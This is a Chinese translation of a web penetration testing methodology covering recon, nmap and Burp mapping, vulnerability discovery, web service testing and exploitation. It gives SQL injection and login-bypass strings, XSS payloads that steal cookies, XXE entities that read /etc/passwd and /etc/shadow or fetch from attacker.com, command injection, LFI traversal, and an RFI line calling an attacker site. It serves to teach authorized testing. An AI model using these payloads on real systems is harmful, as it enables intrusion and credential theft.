登录

Web渗透测试笔记

Mads / 2018-08-02 20:21:27 / 浏览数 15387 技术文章 技术文章 顶(4) 踩(0)

本篇翻译自这里

译者注：文章对Web渗透测试全貌进行了描述，介绍了许多实用的想法与方法，仔细阅读会有收获~

0x00 序言

这篇笔记是对Web应用程序渗透中的经典步骤的总结。我会将这些步骤分解为一个个的子任务并在各个子任务中推荐并介绍一些工具。

本文展示的许多技巧来自这里，作者已允许转载。

请记住我介绍的这些步骤都是迭代的，所以在一次渗透过程中，你可能会使用他们多次。举个栗子，当你设法获取一个应用程序的不同等级的权限时，比如从普通用户提升至

序言最后需要说明的是，这篇笔记的很多地方使用了收费的PortSwigger的Burp Suite Professional。对此我表示抱歉，但我认为这个工具还是物超所值的。

0x01 信息收集

在一次Web渗透过程中，信息收集的目的是站在旁观者的角度，去了解整个Web应用的全貌。

1. 目标确认

工具	简介
Whois	基于RFC 3912，用于查询域名相关信息的协议。
Dig	域名信息获取工具(Domain information groper)简称，是一个命令行的用于查询DNS服务器的网络管理工具。
DNSRecon	自动化DNS枚举脚本，由darkoperator维护。

1.1 域名注册信息

通过如下步骤确认目标所有者信息：

1. Whois 目标域名/主机名

```
whois example.com
```

2. 解析目标域名/主机名的IP地址

```
dig +short example.com
```

3. Whois IP地址

```
whois 104.27.178.12
```

4. 分析输出结果

如果目标开启了whois隐私保护，那么返回的结果可能是经过混淆的。

！！不要攻击未经授权的站点。作为渗透测试人员，有责任在测试之前明确自己有没有获得目标所有者赋予的权限对目标进行测试。这也是为什么目标确认是开始渗透测

1.2 DNS信息查询

我喜欢去 https://dnsdumpster.com/ 查询目标站点的DNS信息，这是一款很不错的在线DNS信息查询工具。

- 正向查询

```
dig +nocmd example.com A +noall +answer
dig +nocmd example.com NS +noall +answer
dig +nocmd example.com MX +noall +answer
dig +nocmd example.com TXT +noall +answer
dig +nocmd example.com SOA +noall +answer
...
dig +nocmd example.com ANY +noall +answer (This rarely works)
```

- 反向查询

```
dig -x 104.27.179.12
dig -x 104.27.178.12
```

1.3 测试域传送漏洞

域传送是一种DNS事务，用于在主从服务器间复制DNS记录。(译者注：可以看这个)虽然如今已经很少见主机会开启，但是还是应该确认一下。一旦存在域传送漏洞，就意味

域传送漏洞很容易避免。至少管理员可以设置只允许白名单内的IP列表可以进行域传送请求。

- 使用示例

```
dig -t NS zonetransfer.me +short
dig -t AXFR zonetransfer.me @nsztm1.digi.ninja
dig -t AXFR zonetransfer.me @nsztm2.digi.ninja
```

- DNSRecon 可以自动化进行，而且往往会返回更多额外的信息。

```
dnsrecon -d example.com
```

2. OSINT 公开情报收集

工具	描述
Recon-NG	Tim 'Lanmaster53' Tomes写的公开情报工具框架，由社区维护。http://recon-ng.com/
Maltego	Maltego 是一款交互式的数据挖掘工具，它可以渲染出图用于关联分析。
theharvester	theHarvester 可以从不同的公开资源中收集邮箱、子域名、虚拟主机、开放的端口/主机指纹和员工姓名等

我本想在这份笔记中包含详细的OSINT的介绍，但是想了想决定不这样做。因为我觉得这个部分可以单独写一篇（可能在之后的几篇中）。

在这篇笔记中我就介绍一些非常棒的关于OSINT的干货，我想渗透测试者们对于这些干货应该非常熟悉：

Michael Bazzell

- https://inteltechniques.com
- Open Source Intelligence Techniques

Google Dorking

- https://www.exploit-db.com/google-hacking-database/

0x02 Mapping

在一次渗透测试过程中，Mapping的目的是站在一个普通用户的角度去了解整个应用的全貌。

1. 工具

工具	介绍
Nmap	带服务识别和操作系统指纹识别的TCP/IP主机和端口扫描工具

1.1 端口扫描，服务识别，OS识别

- 扫描前1000号TCP端口

```
nmap 192.168.100.2
```

- Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序)

```
nmap –sP 192.168.100.0-7
```

- 扫描80,443端口

```
nmap -p 80,443 192.168.100.2
```

- 扫描前1000号TCP端口，OS指纹，服务，然后运行一个NSE脚本

```
sudo nmap -A 192.168.100.2
```

- 扫描全部65535个TCP端口，OS指纹，服务，然后运行一个NSE脚本

```
sudo nmap –A –p- 192.168.100.2
```

- 扫描前1000号UDP端口

```
sudo nmap -sU 192.168.100.2
```

- 扫描所有65535个UDP端口

```
sudo nmap -sU –p- 192.168.100.2
```

- 扫描所有65535个UDP端口，并获取服务、OS指纹，之后运行一些NSE脚本

```
sudo nmap –sU -p- -A 192.168.100.2
```

！端口扫描通常是渗透过程中第一步和第二步的过渡部分。要非常注意暴露的端口、服务版本和OS/s！

2. 浏览器代理设置

2.1 Firefox

工具	描述
Firefox	跨平台的一款现代浏览器，有很多有用的插件

Firefox通常是Web渗透测试过程中的首选浏览器，这是因为它有很多有用的插件以及它的代理设置不会影响到全局代理。

2.2 Firefox插件

工具	描述
User Agent Switcher	一款可以快速切换用户代理的Firefox插件
Wappalyzer	可以检测各种各样的网站所用的技术和软件组件的插件
FoxyProxy	代理切换插件

这些插件在每次渗透测试过程中我总能用得到，我推荐你在第二步(Mapping)之前安装好它们。

2.3 配置Firefox和Burpsuit

在你进行Mapping之前你一定要配置要浏览器的代理，让流量经过Burp。

在Firefox

配置插件FoxyProxy

- IP: 127.0.0.1
- Port: 8080

配置Firefox信任Burp的SSL证书

- 打开http://burp/
- 保存证书
- 将证书导入Firefox

2.4 Burp配置

工具	描述
Burp Suit Pro	Web安全测试套件

你应该配置Burp让他适合自己的喜好。但是至少我推荐你设置Scan Speed为thorough，这样你在使用扫描器时就会发出更多地请求从而扫描出更多的漏洞。

2.5 Burp扩展

工具	描述
Burp Extender	用于扩展Burp suite功能的API，可以在BApp商店获取
Retire.js (BApp)	用于检测版本落后的Javascript组件漏洞的Burp suite扩展
Wsdler (BApp)	可以解析WSDL文件，然后测试所有的允许的方法的请求
Python Scripter (BApp)	可以在每个HTTP请求和响应时执行一段用户定义的Python脚本

这些Burp扩展是我在渗透测试过程中经常使用的。和Firefox扩展一样，我建议你们在Mapping之前安装好它们。

它们可以使用Burp Suite Pro的Burp Extender模块来安装。

3. 人工浏览

人工浏览可能是Mapping过程中最重要的部分。你有必要去浏览每个页面，点击页面上每一个跳转，这样在Burp的sitemap里面就可以出现这些请求和响应。

！！！手工浏览对于单页应用非常非常重要。自动化的网页爬虫不能够爬到单页应用因为单页应用的HTTP请求都是用异步的AJAX来进行的。

4. 自动化爬取

自动化爬取是使用Burp Spider来进行的，这个过程可以发现你手工浏览没有发现的一些页面。通常来说Burp Spider会在传统的Web应用中发现更多的页面。

！！！自动化爬虫非常危险。通常我会手工浏览80%~95%的页面，只用爬虫爬取很少的部分。因为在特定情况下爬虫很容易失效。

5. 后续分析

这个时候你应该使用Burp完成了Mapping这一步第一次的迭代，你应该注意目前掌握的所有信息。

5.1 需要特别注意

- Web 服务器
- Web 软件体系结构(技术栈)
- 编程语言
- 框架
- 设计模式

这个时候你可以注意一些需要特定页面跳转的功能点。通常这些功能点可以被手工操控，从而使其不用满足特定跳转顺序就可以实现，这可以让你有重大发现。(举个栗子，

0x03 漏洞挖掘

在一次渗透测试过程中，漏洞挖掘是在攻击者的角度来了解整个Web应用的全貌。

1. 过渡

在你Mapping之后，并且进行了一些基本的功能性的分析后，就可以开始进行漏洞挖掘了。这个步骤中，你应该尽可能多的识别出Web应用存在的漏洞。这些漏洞不仅是Th
OWASP Top 10中包含的那些，还包含于应用的商业逻辑中。记住一点，你将会遇到大量的漏洞，它不属于任何一个现有的分类中，你应该时刻警惕这一点。

2. 内容挖掘

2.1 漏洞扫描

名称	描述
Nikto	有指纹识别功能的Web服务漏洞扫描器

Nikto当之无愧的是最好的Web服务漏洞扫描器，特别是在大型的Web应用程序中表现非常好。它可以利用-Format选项来导出特定格式的扫描结果，使扫描结果更容易阅

- 扫描目标并将结果导出成HTML格式

```
nikto -h http://example.com -output ~/nikto.html -Format htm
```

漏洞扫描通常是第二步和第三步的过渡。一旦有了扫描结果，一定要花时间去分析一下结果，打开一些引人注目的页面看看。

3. 强制浏览(译者注：翻译的感觉很别扭，看下面内容应该能明白什么意思)

名称	描述
Burp Engagement Tools	Burp Suite Pro中自带的有特殊用途的工具集
Engagement Tool: Discover Content	Burp Suite Pro自带的用于强制浏览的工具
Burp Intruder	Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)
FuzzDB	包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。

强制浏览是一种挖掘技巧，它可以发现应用程序中没有被引用但是确实是可以访问的页面。Discover
Content是Burp中专门用于此目的的工具。除此之外，Burp
Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改)。FuzzDB包含一些用于此目的的非常牛逼的字典，你可以在这里看看。

3.1 测试可选内容

名称	描述
User Agent Switcher	用于迅速切换浏览器的User Agent的一款Firefox插件
Burp Intruder	Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)
FuzzDB	包含各种恶意输入、资源名、用于grep搜索响应内容的字符串、Webshell等。

在内容挖掘这一步，我非常喜欢做一件事。那就是利用User Agent Switcher切换不同的User
Agent然后访问同一个特定页面。这是因为很多的Web应用对于不同的User-Agent和Referer请求头会返回不同的内容。

我经常使用Burp Intruder来模糊测试User-Agent和Referer请求头，一般还利用FuzzDB的字典。

4. 自动化的漏洞挖掘

名称	描述
Burp Scanner	自动化扫描安全漏洞的Burp Suite工具

当你在Mapping和进行漏洞挖掘的开始部分时候，Burp Passive Scanner就已经在后台悄悄运行。你应该先分析这份扫描结果，然后再进行Burp Active Scanner，这样在Burp Passive Scanner中发现的值得关注的页面就可以在Burp Active Scanner中进行详细的扫描。

由于Burp Active Scanner完成所需的时间非常长，我更喜欢只允许一小段时间，然后查看两者之间的扫描结果并记录结果。

！！！自动化的漏洞扫描是很危险的。用Burp Scanner可能导致不良的影响。除非你非常熟悉目标的功能与环境，否则你只应在非生产环境中使用。

5. 配置

5.1 默认配置

在确认了目标所使用的技术后，很自然的一步跟进就是测试有没有默认配置。许多框架使用许多易受攻击默认配置的应用程序以便于向开发人员介绍他们的产品。然后由于开

5.2 错误配置

在Web渗透测试的每一步，你都应该注意Web应用有没有错误的配置。你可以特别关注页面出现的错误信息，这些信息经常会给出很有用的■■■■■和■■■■■■■等信息。

错误信息几乎总能够发现一些。这些错误信息在注入和LFI(Local File Include)中特别有用。

另外一个值得注意的是页面的敏感表单有没有禁用自动填充。比如密码字段经常会有一个“显示/隐藏”按钮。浏览器默认不会填充type="password"的input标签内容，而

6. 身份认证

在漏洞挖掘过程中，你应该认真审视你看到的每个登录表单。如果这些表单没有做很好的安全措施(比如双重认证，验证码，禁止重复提交等)，攻击者就可能得到用户账户未

如果你测试发现了上述所讨论的问题，你应该关注并记录。另外，如果登录表单没有加密(或者利用了旧版本的SSL/TLS)，这也应该关注并记录。

6.1 模糊登录测试

名称	描述
CeWL	通过爬取目标站点来生成用户字典的工具
Burp Intruder	Burp Suite中可自定义的用于自动化的攻击的模块。(比如brute forcing, injection, 等)

在你认真审视了登录表单后，就可以开始登录测试了。CeWL是一款非常好用的用于生成一次性字典的工具。你可以利用-h查看帮助文档。

基本语法如下

```
cewl [options] www.example.com
```

当你构造好用户字典后就可以开始用Burp Intruder进行实际的模糊测试了。通常我会用两个payload集(一个是用户名的，另一个是CeWL生成的密码)。Intruder的Attack Type通常应该选Cluster Bomb。

7. Session管理

Session-token/Cookie分析在渗透测试过程中虽然不是很吸引人的部分，但确实非常重要的一块。通常是这样子的，你想了解整个web应用是如何跟踪Session，然后用Bur Sequencer这样的工具去测试session token的随机性/可预测性。一些应用(较传统的应用)会把session的内容存储在客户端。有时候这些数据里面会包含有加密的，序列化的敏感信息。

这时也应该检查HTTP返回头的Set-Cookie是否包含Secure和HttpOnly的标识。如果没有的话就值得注意了，因为没有理由不设置这些标识位。

Google搜索你得到的session token，可能会有一些发现，比如Session可预测等，这样就可以进行Session劫持攻击。

7.1 用Burp测试Session Tokens

名称	描述
Burp Sequencer	Burp用来分析数据集的随机性的模块

Burp Sequencer是用来测试Session Token随机性和可预测性的很好的工具。当你用这个工具来测试目标的Session管理时，你应该先清除所有的Cookies，然后重新认证一次。然后就可以把带有Set-Cookie Sequencer，然后Sequencer就会启动新的拦截对Token进行分析。通常10000次请求就差不多可以判断随机性和可预测性了。

如果发现Session token不够随机，那就可以考虑Session劫持了。

8. 授权

授权漏洞很像功能级访问控制缺失和不安全的直接对象引用漏洞，是很长一段时间我发现的最流行的漏洞。这是因为许多的开发者没有想到一个低权限甚至是匿名用户会去向

```
http://example.com/app/admin_getappInfo
```

或者是去请求其他用户的数据(不安全的直接对象引用，译者注：水平越权)

```
http://example.com/app/accountInfo?acct=notmyacct
```

8.1 测试权限控制

名称	描述
Compare Site Maps	Burp的用于测试授权的模块

这里有个小技巧，就是注册两个不同权限的用户，然后用高权限的用户去访问整个Web应用，退出高权限用户，登录低权限用户,然后用Burp的`Compare Site Maps`工具去测试哪些页面的权限控制没有做好。

9. 数据验证测试

名称	描述
Burp Repeater	用于手工修改、重放HTTP请求的Burp模块

注入漏洞的存在是因为Web应用接受任意的用户输入，并且在服务端没有正确验证用户的输入的有效性。作为一个渗透测试者，你应该注意每一个接受随意的用户输入的地方

因为每个Web应用情况都不一样，所以没有一种万能的注入方式。接下来，我会把注入漏洞进行分类并且给出一些Payload。`Burp Repeater`是我测试注入漏洞时最常使用的工具。它可以重放HTTP请求，并且可以随时修改Payload。

有一件事需要谨记：漏洞挖掘阶段要做的只是识别漏洞，而漏洞利用阶段才会利用漏洞做更多地事。当然，每个注入漏洞都值得被记录，你可以在漏洞挖掘阶段之后对这些注

在每个分类下可以参照OWASP获取更多地信息。

9.1 SQLi

任何将输入带入数据库进行查询的地方都可能存在SQL注入。结合错误的配置问题，会导致大量的数据被攻击者盗取。

我推荐你在做SQL注入时参照这个Wiki。如果你输入了这些Payload得到了数据库返回的错误信息，那么目标就非常有可能存在SQL注入漏洞。

`Sqlmap`是一款自动化的SQL注入工具，我将会在漏洞利用阶段介绍它。

OWASP-测试SQL注入)

- 示例

```
' OR 1=1 -- 1
' OR '1'='1
' or 1=1 LIMIT 1;--
admin';--

http://www.example.com/product.php?id=10 AND 1=1
```

9.2 跨站脚本攻击(XSS)

攻击者利用Web应用程序发送恶意代码(通常是JavaScript代码)给另外一个用户，就发生了XSS。

有三种不同的XSS：

1. 存储型。当提供给Web应用的数据是攻击者事先提交到服务器端永久保存的恶意代码时，发生存储型XSS。
2. 反射型。当提供给Web应用的数据是服务端脚本利用攻击者的恶意输入生成的页面时，发生反射型XSS。
3. DOM型。DOM型XSS存在于客户端的脚本。

OWASP-测试XSS

- 示例

```
<IMG SRC=javascript:alert('XSS')>
"><script>alert('XSS')</script><"
" onmouseover="alert('XSS')

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>
%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e
```

9.3 XML 注入

当Web应用的XML解析器没有正确的验证攻击者传入的XML文档，就会发生XML注入。

OWASP-测试XML注入)

- 示例

```
Username = foo<
Username = foo<!--
```

9.4 XML实体注入(XXE)

若实体的定义是一个URI，那么这个实体就叫做外部实体。除非特别配置，不然外部实体会导致XML解析器去请求这个URI。比如请求本地或远程的一个文件。

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

9.5 模板注入

模板注入就是攻击者利用模板的语法注入恶意代码。

Portswigger-服务端模板注入

- 示例

```
<%= 7 * 7 %>
{{ 7 * 7 }}
```

9.6 命令注入

用户注入操作系统的命令到Web应用程序并被执行，就发生了命令注入。

OWASP-测试命令注入)

- 示例

```
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

Doc=Doc1.pdf+|+Dir c:\
```

9.7 恶意重定向

当应用没有检查用户可控输入时，攻击者输入了恶意的URL并被应用接受时发生。

OWASP-测试客户端恶意重定向)

- 示例

```
http://www.target.site?#redirect=www.fake-target.site
http://www.target.site??url=http://www.fake-target.site
```

9.8 本地文件包含(LFI)

LFI指的是Web应用允许包含本地服务器端存在的文件。

OWASP-测试本地文件包含

- 示例

```
http://vulnerable_host/preview.php?file=../../../../etc/passwd
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
```

9.9 远程文件包含(RFI)

RFI指的是Web应用允许包含远程服务器上存在的文件。

OWASP-测试远程文件包含

- 示例

```
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
```

10. 逻辑漏洞

想要发现逻辑漏洞，你必须对目标非常了解。只有你对目标的功能都是怎么使用有了了解后，你才能推想哪里有可利用的地方。测试逻辑漏洞时，可以回想作为普通用户是如

此外，这时候也可以测试下输入一些不切实际的值。(比如一款健生app，用户输入自己的跑步里程)。

这时也可以测试非法文件上传。

11. 加密算法漏洞

名称	描述
SSLyze	TLS/SSL分析工具

测试Web应用的TLS/SSL实现的质量，我推荐先去这里，如果搞不到，可以用`SSLyze`。

- 示例

```
sslyze --regular www.example.com
```

分析的目的可以归结为：

1. 目标是否使用了某种形式的加密手段。
2. 目标使用的加密手段是否已经过时(TLS 1.2, SSL2/SSl3)。

这时候也应该注意目标是否用了脆弱的加密算法(MD5,RC4等)，是否支持正向加密(译者注: 一次一密)等。

12. 拒绝服务

拒绝服务是利用某种手段让目标无法为合法用户提供服务。拒绝服务的类型包括用户文件上传(上传巨大文件)到用户账户锁定(为了防止登录爆破)等。

如果存在载入很慢的页面或者是Ajax请求很卡，那么就意味着这个地方可能会被用于拒绝服务攻击。

13. Flash漏洞

名称	描述
Firefox Developer Tools	Firefox浏览器自带的用于诊断、审计、调试客户端代码的工具
JPEXS (FFDec)	开源的SWF文件反汇编工具

如果目标使用了flash或者其他的需要编译的客户端技术(如silverlight)，那么你应该下载下来然后利用`JPEXS FFDec`这样的反汇编工具来审计他们的源代码。如果你成功的对他们进行了逆向工程，你可能会发现一些隐藏的漏洞。

0x04 测试Web服务

Web服务用于机器之间的数据交换，他们应该用之前介绍的方法进行测试(Mapping->漏洞挖掘->漏洞利用)，可以用`Burp`对请求进行拦截，然后分析接口返回的数据。

1. 测试REST服务

如果有文档的话，测试REST服务之前应该阅读它。当然，这通常是白盒测试或者是灰盒测试时的做法，或者你想更深入的进行测试时也可以这么做。

在黑盒测试过程中，我们可以用`burp`拦截请求和响应，观察`JSON`格式的响应信息来了解接口的作用，但是这个过程非常麻烦，不是很推荐。

因为REST使用`http`协议，所以我们也可以测试之前的一些漏洞比如SQLi和XSS。

测试REST服务时可以参考以下文章：

https://support.portswigger.net/customer/portal/articles/1965674-using-burp-to-test-for-cross-site-request-forgery-csrf-

http://blog.isecurion.com/2017/10/10/penetration-testing-restful-web-services/

https://www.owasp.org/index.php/REST_Assessment_Cheat_Sheet

2. 测试SOAP服务

名称	描述
Wsdler (BApp)	可以解析WSDL文件，然后测试所有的允许的方法的请求

尽管如今我在渗透测试中观察到REST服务比SOAP服务更多，但还是应该注意它。

基于SOAP的Web服务有一点很好，就是他是通过WSDL文件自描述的。你可以用`Wsdler (BApp)`这样的工具来解析WSDL文件，然后用`Burp Repeater`来发送测试请求。

和REST一样，我们也可以测试之前的一些漏洞比如SQLi和XSS。

检查任何一个在mapping和漏洞挖掘时发现的和服务有关的路径

- 比如，http://exampleapplication.com/service

查看WSDL文件获取接口信息然后导入Burp

在Burp Proxy的历史标签页，把WSDL文件通过`Parse WSDL`右键选项加入到Wsdler扩展

发送测试请求给Repeater，观察服务如何工作

测试SOAP服务时可以参考：

- https://blog.netspi.com/hacking-web-services-with-burp/

0x05 漏洞利用

在漏洞利用阶段，是利用之前发现的漏洞，评估他们影响范围与风险。

简单来说，这一步就是查阅之前步骤中你所发现与记录的信息，尽可能深地利用发现的漏洞。有时在漏洞利用过程中，你可能需要更高的权限才能进行下去，这时你应该返回

下面是一些示例场景，但这一步是非常独特的。

1. 利用场景

2. 利用XSS

2.1 浏览器劫持

名称	描述
BeEF	基于web的XSS平台

如果你发现目标应用确实存在XSS漏洞，这时你可以试试是否可以用`BeEF`这样的工具来控制目标浏览器。

可以参考这篇。

你可以使用自己的浏览器来验证XSS漏洞的危害性当你向客户展示你发现的XSS漏洞时。

3. 利用SQLi

3.1 数据提取

名称	描述
SQLMap	自动化的SQLi工具，可以检测和利用基于许多流行的关系型数据库的SQL注入漏洞

如果目标存在SQLi且为了提取数据，`SQLMap`是首选。

SQLMap官网有详细的教程，我推荐你仔细看看。

3.2 离线密码爆破

名称	描述
Hashcat	世界上最快最先进的密码恢复工具

当你得到目标应用账户的密码时，可以尝试这个。

如果密码用了哈希算法加密，你可以用`hashcat`结合一个好的字典比如`rockyou.txt`来恢复密码。可以看这篇。

毋庸置疑，这将是您在渗透测试结束时可以为客户带来的最大发现之一。

3.3 认证绕过

你可以尝试利用SQLi来提升自己的权限。网上有很多关于此的文章，下面这些payload你可以尝试在一些脆弱的表单里输入：

```
admin' --
admin' #
admin'/*
```

```
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
```

4. 跨站请求伪造(CSRF)

名称	描述
Burp: Generate CSRF PoC	用于生成CSRF Poc的Burp模块

如果目标存在CSRF漏洞(`Burp Scanner`会发现)，你可以用`Generate CSRF PoC`来验证是否真的存在。

可以看这篇教程。

大概就下面这样：

1. 拦截一个HTTP请求(通常是修改账户信息的)
2. 在Burp中右键
3. Generating the CSRF PoC(修改一些请求体的信息)
4. 保存poc到一个html文件
5. 打开html文件并点击提交
6. 验证信息是否被恶意篡改

0x00 结尾

感谢阅读。

上一篇：中国香港地区 DDoS-botne... 下一篇：反混淆Emotet powersh...

1. 0 条回复
   - 动动手指，沙发就是你的了！